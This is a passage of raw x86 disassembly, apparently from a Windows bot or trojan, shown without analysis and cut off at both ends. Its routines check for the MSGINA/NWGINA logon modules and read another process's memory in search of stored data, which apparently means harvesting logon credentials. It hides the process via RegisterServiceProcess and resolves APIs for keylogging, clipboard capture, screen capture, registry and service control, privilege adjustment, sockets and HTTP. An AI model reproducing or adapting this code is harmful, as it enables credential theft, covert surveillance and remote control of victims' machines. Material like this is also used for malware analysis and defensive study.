cmp [esp+28h+var_8], 0 jbe short loc_4091BC lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409169: ; CODE XREF: sub_40904E+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_418D63 pop ecx push eax call sub_417580 pop ecx test eax, eax pop ecx jnz short loc_4091D0 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_418D63 pop ecx push eax call sub_417580 pop ecx test eax, eax pop ecx jnz short loc_4091AE mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4091AE: ; CODE XREF: sub_40904E+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409169 loc_4091BC: ; CODE XREF: sub_40904E+10Fj test edi, edi jz short loc_4091C7 push edi call dword_43E7D0 loc_4091C7: ; CODE XREF: sub_40904E+170j mov edi, [esp+28h+var_4] jmp loc_40913D ; --------------------------------------------------------------------------- loc_4091D0: ; CODE XREF: sub_40904E+13Cj xor eax, eax jmp loc_40914B sub_40904E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091D7 proc near ; CODE XREF: sub_408E7C+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call dword_4230FC ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_409200 xor eax, eax jmp loc_409378 ; --------------------------------------------------------------------------- loc_409200: ; CODE XREF: sub_4091D7+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call dword_4230F8 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4230EC push 8 call esi ; GetProcessHeap mov edi, dword_4230E8 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, dword_4230F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_409250 xor esi, esi jmp loc_40936B ; --------------------------------------------------------------------------- loc_409250: ; CODE XREF: sub_4091D7+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call dword_4230F0 ; VirtualQueryEx test eax, eax jz loc_40935A mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_40935A test [ebp+var_2B], 1 jnz loc_40935A push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_40935A loc_4092B3: ; CODE XREF: sub_4091D7+110j push edi push offset dword_43D7C8 call sub_422752 pop ecx test eax, eax pop ecx jnz short loc_4092DB lea eax, [edi+200h] push eax push offset dword_43DFC8 call sub_422752 pop ecx test eax, eax pop ecx jz short loc_4092EB loc_4092DB: ; CODE XREF: sub_4091D7+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jb short loc_4092B3 jmp short loc_40935A ; --------------------------------------------------------------------------- loc_4092EB: ; CODE XREF: sub_4091D7+102j test edi, edi jz short loc_40935A lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call dword_4230B4 ; FileTimeToLocalFileTime test eax, eax jz short loc_409326 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call dword_4230B0 ; FileTimeToSystemTime test eax, eax jz short loc_409326 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_409326: ; CODE XREF: sub_4091D7+12Bj ; sub_4091D7+13Dj movzx eax, byte ptr [edi+42Dh] mov dword_43E9E8, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43E9E0, eax mov dword_43E9E4, edi loc_40935A: ; CODE XREF: sub_4091D7+90j ; sub_4091D7+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap mov esi, [ebp+var_10] loc_40936B: ; CODE XREF: sub_4091D7+74j push [ebp+var_4] call dword_423078 ; CloseHandle pop edi mov eax, esi pop ebx loc_409378: ; CODE XREF: sub_4091D7+24j pop esi leave retn sub_4091D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40937B proc near ; CODE XREF: sub_408E7C:loc_408F74p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] push 0 push 410h call dword_4230FC ; OpenProcess test eax, eax mov [ebp+arg_0], eax jnz short loc_40939A leave retn ; --------------------------------------------------------------------------- loc_40939A: ; CODE XREF: sub_40937B+1Bj mov eax, [ebp+arg_4] push ebx push esi push edi and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_4230F8 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409462 mov edi, dword_4230EC loc_4093C4: ; CODE XREF: sub_40937B+E1j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_4230F0 ; VirtualQueryEx test eax, eax jz short loc_409450 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409456 test [ebp+var_13], 1 jnz short loc_409456 push ecx push 8 call edi ; GetProcessHeap push eax call dword_4230E8 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call dword_4230F4 ; ReadProcessMemory test eax, eax jz short loc_409442 push offset dword_43D7C8 push esi call sub_422752 pop ecx test eax, eax pop ecx jnz short loc_409442 lea eax, [esi+400h] push offset dword_43DFC8 push eax call sub_422752 pop ecx test eax, eax pop ecx jz short loc_409474 loc_409442: ; CODE XREF: sub_40937B+9Dj ; sub_40937B+AEj push esi push 0 call edi ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap jmp short loc_409456 ; --------------------------------------------------------------------------- loc_409450: ; CODE XREF: sub_40937B+5Bj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409456: ; CODE XREF: sub_40937B+6Fj ; sub_40937B+75j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4093C4 loc_409462: ; CODE XREF: sub_40937B+3Dj xor esi, esi loc_409464: ; CODE XREF: sub_40937B+12Bj push [ebp+arg_0] call dword_423078 ; CloseHandle mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409474: ; CODE XREF: sub_40937B+C5j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43E9E0, ebx mov dword_43E9E4, eax cmp [eax], cl jnz short loc_409496 cmp [eax+1], cl jz short loc_40949E loc_409496: ; CODE XREF: sub_40937B+114j ; sub_40937B+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409496 loc_40949E: ; CODE XREF: sub_40937B+119j mov eax, [ebp+arg_4] xor esi, esi inc esi mov [eax], ecx jmp short loc_409464 sub_40937B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094A8 proc near ; CODE XREF: sub_408E7C+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43E9DC push esi mov esi, dword_4230EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call dword_4230E8 ; RtlAllocateHeap mov ecx, dword_43E9DC mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43E9E4 push eax call sub_417090 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43E9E8 push eax call dword_43E7CC push [ebp+var_4] mov edi, offset dword_43E7D8 push offset dword_43D7C8 push offset dword_43DFC8 push [ebp+arg_0] push offset dword_42BFA8 push 200h push edi call sub_41752A add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4094A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40953F proc near ; CODE XREF: sub_408E7C:loc_408FB8p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43E9DC push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_4230EC ; GetProcessHeap push eax call dword_4230E8 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43DFC8 mov edi, 200h mov esi, offset dword_43D5C8 loc_409585: ; CODE XREF: sub_40953F+FAj mov eax, dword_43E9DC add eax, eax push eax push dword_43E9E4 push [ebp+var_14] call sub_417090 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43E7CC mov eax, dword_43E9DC and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4095FA loc_4095C2: ; CODE XREF: sub_40953F+B3j cmp [ebp+var_8], 0 jz short loc_409617 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4095E6 cmp byte ptr [ecx+1], 0 jnz short loc_4095E6 cmp dl, 20h jnb short loc_4095E0 and [ebp+var_8], 0 loc_4095E0: ; CODE XREF: sub_40953F+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4095EA loc_4095E6: ; CODE XREF: sub_40953F+90j ; sub_40953F+96j and [ebp+var_8], 0 loc_4095EA: ; CODE XREF: sub_40953F+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4095C2 cmp [ebp+var_8], 0 jz short loc_409617 loc_4095FA: ; CODE XREF: sub_40953F+81j push [ebp+var_14] push offset dword_43D7C8 push ebx push [ebp+arg_0] push offset dword_42BFA8 push edi push esi call sub_41752A add esp, 1Ch jmp short loc_40962F ; --------------------------------------------------------------------------- loc_409617: ; CODE XREF: sub_40953F+87j ; sub_40953F+B9j push offset dword_43D7C8 push ebx push [ebp+arg_0] push offset dword_42C020 push edi push esi call sub_41752A add esp, 18h loc_40962F: ; CODE XREF: sub_40953F+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_409585 push [ebp+var_14] push 0 call dword_4230EC ; GetProcessHeap push eax call dword_4230E4 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_40953F endp ; =============== S U B R O U T I N E ======================================= sub_409658 proc near ; CODE XREF: sub_40E48A+48p push ebx push ebp mov ebp, dword_423100 push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4230DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409778 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43EBD0, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_43EB44, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_43EB28, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_43EA44, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43E9F0, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43EA20, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43EA94, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_43EB84, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43EBDC, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43EA50, eax call esi ; GetProcAddress cmp dword_43EBD0, ebx mov dword_43EA38, eax jz short loc_409756 cmp dword_43EB44, ebx jz short loc_409756 cmp dword_43EB28, ebx jz short loc_409756 cmp dword_43EA44, ebx jz short loc_409756 cmp dword_43EA20, ebx jz short loc_409756 cmp dword_43EA94, ebx jz short loc_409756 cmp dword_43EB84, ebx jz short loc_409756 cmp dword_43EBDC, ebx jz short loc_409756 cmp dword_43EA50, ebx jz short loc_409756 cmp eax, ebx jnz short loc_409760 loc_409756: ; CODE XREF: sub_409658+B8j ; sub_409658+C0j ... mov dword_43EBE0, 1 loc_409760: ; CODE XREF: sub_409658+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43EB5C, eax jz short loc_40978D push 1 push ebx call eax jmp short loc_40978D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_409658+1Dj call dword_42308C ; RtlGetLastWin32Error mov dword_43EBE4, eax mov dword_43EBE0, 1 loc_40978D: ; CODE XREF: sub_409658+117j ; sub_409658+11Ej push offset aUser32_dll ; "user32.dll" call dword_4230E0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4098A2 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_43EB80, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_43EB30, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43EAC4, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43EBD4, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43EAF4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43EB14, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43EB78, eax call esi ; GetProcAddress cmp dword_43EB80, ebx mov dword_43EA6C, eax jz short loc_409846 cmp dword_43EB30, ebx jz short loc_409846 cmp dword_43EAC4, ebx jz short loc_409846 cmp dword_43EBD4, ebx jz short loc_409846 cmp dword_43EAF4, ebx jz short loc_409846 cmp dword_43EB14, ebx jz short loc_409846 cmp dword_43EB78, ebx jz short loc_409846 cmp eax, ebx jnz short loc_409850 loc_409846: ; CODE XREF: sub_409658+1B8j ; sub_409658+1C0j ... mov dword_43EBE8, 1 loc_409850: ; CODE XREF: sub_409658+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_43EAF0, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43EA04, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43EAC0, eax call esi ; GetProcAddress cmp dword_43EAF0, ebx mov dword_43EAAC, eax jz short loc_4098AD cmp dword_43EA04, ebx jz short loc_4098AD cmp dword_43EAC0, ebx jz short loc_4098AD cmp eax, ebx jnz short loc_4098B7 jmp short loc_4098AD ; --------------------------------------------------------------------------- loc_4098A2: ; CODE XREF: sub_409658+144j call dword_42308C ; RtlGetLastWin32Error mov dword_43EBEC, eax loc_4098AD: ; CODE XREF: sub_409658+232j ; sub_409658+23Aj ... mov dword_43EBE8, 1 loc_4098B7: ; CODE XREF: sub_409658+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409A52 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43EB94, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43EAD8, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43EB48, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43EA30, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43EA90, eax call esi ; GetProcAddress cmp dword_43EB94, ebx mov dword_43EB00, eax jz short loc_409942 cmp dword_43EAD8, ebx jz short loc_409942 cmp dword_43EB48, ebx jz short loc_409942 cmp dword_43EA30, ebx jz short loc_409942 cmp dword_43EA90, ebx jz short loc_409942 cmp eax, ebx jnz short loc_40994C loc_409942: ; CODE XREF: sub_409658+2C4j ; sub_409658+2CCj ... mov dword_43EBF0, 1 loc_40994C: ; CODE XREF: sub_409658+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43EB08, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43EAE0, eax call esi ; GetProcAddress cmp dword_43EB08, ebx mov dword_43EB90, eax jz short loc_409987 cmp dword_43EAE0, ebx jz short loc_409987 cmp eax, ebx jnz short loc_409991 loc_409987: ; CODE XREF: sub_409658+321j ; sub_409658+329j mov dword_43EBF0, 1 loc_409991: ; CODE XREF: sub_409658+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43EB18, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_43EA0C, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_43EA14, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_43EA74, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43EA78, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43EA28, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43EAE4, eax call esi ; GetProcAddress cmp dword_43EB18, ebx mov dword_43EA18, eax jz short loc_409A35 cmp dword_43EA0C, ebx jz short loc_409A35 cmp dword_43EA14, ebx jz short loc_409A35 cmp dword_43EA74, ebx jz short loc_409A35 cmp dword_43EA78, ebx jz short loc_409A35 cmp dword_43EA28, ebx jz short loc_409A35 cmp dword_43EAE4, ebx jz short loc_409A35 cmp eax, ebx jnz short loc_409A3F loc_409A35: ; CODE XREF: sub_409658+3A7j ; sub_409658+3AFj ... mov dword_43EBF0, 1 loc_409A3F: ; CODE XREF: sub_409658+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43EA10, eax jnz short loc_409A67 jmp short loc_409A5D ; --------------------------------------------------------------------------- loc_409A52: ; CODE XREF: sub_409658+26Aj call dword_42308C ; RtlGetLastWin32Error mov dword_43EBF4, eax loc_409A5D: ; CODE XREF: sub_409658+3F8j mov dword_43EBF0, 1 loc_409A67: ; CODE XREF: sub_409658+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409B33 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43EB10, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43EB68, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43EB70, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43EB2C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_43EA54, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_43EA00, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_43EB6C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_43E9EC, eax call esi ; GetProcAddress cmp dword_43EB10, ebx mov dword_43EA88, eax jz short loc_409B3E cmp dword_43EB68, ebx jz short loc_409B3E cmp dword_43EB70, ebx jz short loc_409B3E cmp dword_43EB2C, ebx jz short loc_409B3E cmp dword_43EA54, ebx jz short loc_409B3E cmp dword_43EA00, ebx jz short loc_409B3E cmp dword_43EB6C, ebx jz short loc_409B3E cmp dword_43E9EC, ebx jz short loc_409B3E cmp eax, ebx jnz short loc_409B48 jmp short loc_409B3E ; --------------------------------------------------------------------------- loc_409B33: ; CODE XREF: sub_409658+41Aj call dword_42308C ; RtlGetLastWin32Error mov dword_43EBFC, eax loc_409B3E: ; CODE XREF: sub_409658+49Bj ; sub_409658+4A3j ... mov dword_43EBF8, 1 loc_409B48: ; CODE XREF: sub_409658+4D7j mov ebp, dword_4230E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409E04 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_43EA9C, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43EBC8, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43EA40, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43EA1C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43EAD0, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_43EAB8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_43EA84, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43EBA4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_43EBC0, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43EACC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_43EBB0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_43EB64, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_43EB24, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_43EB20, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_43EA60, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_43EA58, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_43EB74, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_43EB88, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_43EB3C, eax call esi ; GetProcAddress mov dword_43EAFC, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_43EB50, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_43EB0C, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_43EB4C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_43EBB8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_43EB04, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_43EAC8, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_43EB38, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43EBA8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_43EADC, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_43EA80, eax call esi ; GetProcAddress cmp dword_43EA9C, ebx mov dword_43EBBC, eax jz loc_409E0F cmp dword_43EBC8, ebx jz loc_409E0F cmp dword_43EA40, ebx jz loc_409E0F cmp dword_43EAD0, ebx jz loc_409E0F cmp dword_43EAB8, ebx jz loc_409E0F cmp dword_43EA84, ebx jz loc_409E0F cmp dword_43EBA4, ebx jz loc_409E0F cmp dword_43EBC0, ebx jz loc_409E0F cmp dword_43EACC, ebx jz loc_409E0F cmp dword_43EBB0, ebx jz loc_409E0F cmp dword_43EB64, ebx jz loc_409E0F cmp dword_43EB24, ebx jz loc_409E0F cmp dword_43EB20, ebx jz loc_409E0F cmp dword_43EA60, ebx jz short loc_409E0F cmp dword_43EB74, ebx jz short loc_409E0F cmp dword_43EB88, ebx jz short loc_409E0F cmp dword_43EB3C, ebx jz short loc_409E0F cmp dword_43EAFC, ebx jz short loc_409E0F cmp dword_43EB50, ebx jz short loc_409E0F cmp dword_43EB0C, ebx jz short loc_409E0F cmp dword_43EB4C, ebx jz short loc_409E0F cmp dword_43EBB8, ebx jz short loc_409E0F cmp dword_43EB04, ebx jz short loc_409E0F cmp dword_43EAC8, ebx jz short loc_409E0F cmp dword_43EB38, ebx jz short loc_409E0F cmp dword_43EBA8, ebx jz short loc_409E0F cmp dword_43EADC, ebx jz short loc_409E0F cmp eax, ebx jnz short loc_409E19 jmp short loc_409E0F ; --------------------------------------------------------------------------- loc_409E04: ; CODE XREF: sub_409658+501j call dword_42308C ; RtlGetLastWin32Error mov dword_43EC04, eax loc_409E0F: ; CODE XREF: sub_409658+6A0j ; sub_409658+6ACj ... mov dword_43EC00, 1 loc_409E19: ; CODE XREF: sub_409658+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409F1E push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43EA68, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43E9F4, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43EAEC, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43EAA0, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_43EAF8, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43EABC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43EA34, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43EA2C, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43EA3C, eax call esi ; GetProcAddress cmp dword_43EA68, ebx mov ecx, dword_43EABC mov dword_43EB58, eax jz short loc_409EFA cmp dword_43E9F4, ebx jz short loc_409EFA cmp dword_43EAEC, ebx jz short loc_409EFA cmp dword_43EAA0, ebx jz short loc_409EFA cmp dword_43EAF8, ebx jz short loc_409EFA cmp ecx, ebx jz short loc_409EFA cmp dword_43EA34, ebx jz short loc_409EFA cmp dword_43EA2C, ebx jz short loc_409EFA cmp dword_43EA3C, ebx jz short loc_409EFA cmp eax, ebx jnz short loc_409F04 loc_409EFA: ; CODE XREF: sub_409658+860j ; sub_409658+868j ... mov dword_43EC08, 1 loc_409F04: ; CODE XREF: sub_409658+8A0j cmp ecx, ebx jz short loc_409F39 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_43EAD4, eax jnz short loc_409F39 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F1E: ; CODE XREF: sub_409658+7CCj call dword_42308C ; RtlGetLastWin32Error mov dword_43EC0C, eax mov dword_43EC08, 1 loc_409F33: ; CODE XREF: sub_409658+8C4j mov dword_43EAD4, ebx loc_409F39: ; CODE XREF: sub_409658+8AEj ; sub_409658+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409F83 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43EAB0, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43EBD8, eax call esi ; GetProcAddress cmp dword_43EAB0, ebx mov dword_43EA48, eax jz short loc_409F8E cmp dword_43EBD8, ebx jz short loc_409F8E cmp eax, ebx jnz short loc_409F98 jmp short loc_409F8E ; --------------------------------------------------------------------------- loc_409F83: ; CODE XREF: sub_409658+8ECj call dword_42308C ; RtlGetLastWin32Error mov dword_43EC14, eax loc_409F8E: ; CODE XREF: sub_409658+91Bj ; sub_409658+923j ... mov dword_43EC10, 1 loc_409F98: ; CODE XREF: 